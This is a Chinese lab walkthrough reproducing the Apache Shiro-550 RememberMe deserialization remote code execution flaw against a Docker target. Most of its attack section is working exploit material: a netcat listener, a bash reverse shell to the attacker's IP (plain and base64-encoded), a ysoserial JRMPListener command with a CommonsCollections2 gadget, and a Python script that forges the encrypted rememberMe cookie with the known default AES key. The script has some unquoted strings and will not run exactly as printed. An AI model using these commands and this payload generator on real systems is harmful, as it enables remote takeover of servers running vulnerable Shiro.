Shiro RememberMe反序列化漏洞复现(Shiro-550)
0x00 漏洞原理简要分析
官方说明:
Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行 : 序列化 =>AES加密 =>Base64编码操作
在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为: 获取rememberMe cookie =>base64 decode =>解密AES =>反序列化
从这个过程中不难发现只要知道了AES密钥就可以,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Tips: 在平时渗透测试过程中如果遇到这样的登录框,不妨检测是否存在这个漏洞。 看到Response中Setcookie:rememberMe=deleteMe; 就基本可以判断存在反序列化漏洞了。
0x01 环境搭建
-
KALI为攻击机-192.168.88.166 靶机Centos 7 docker搭建-192.168.88.102
拉去镜像
获取docker镜像 docker pull medicean/vulapps:s_shiro_1 启动docker镜像: docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
工具准备
0x02 漏洞复现
检测漏洞
python3 shiro_exploit.py -u http://192.168.88.102:8080/
结果显示密钥,存在漏洞。 1、制作反弹shell,Kali监听 5454端口
root@Flag:~# nc -lvp 5454
2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令,可查看反弹shell连接状况。
Java Runtime 配合 bash 编码,
bash -i >& /dev/tcp/192.168.88.166/5454 0>&1 bash -c { echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjE2Ni81NDU0IDA+JjE=}|{ base64,-d}|{ bash,-i} root@Flag:/opt/Shiro_exploit# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjE2Ni81NDU0IDA+JjE=}|{base64,-d}|{bash,-i}"
3、生成payload python2 payload.py attack_ip:JRMP_port
坑 :这里千万搞清楚是通过ysoserial中JRMP监听模块的端口 ,不是反弹shell端口,不然就会连不上。 payload.py 代码如下:
# -*- coding: utf-8 -*- import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen([java, -jar, ysoserial.jar, JRMPClient, command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 替换密钥 iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == __main__: payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
4、构造数据包,伪造cookie、发送payload
输入任意账号密码,记住选择rememberme选项. 伪造:rememberMe cookie 反弹shell成功 一键打可以参考: 本人比较菜,复现花费时间比较长,这里做个笔记,欢迎各位师傅一起交流。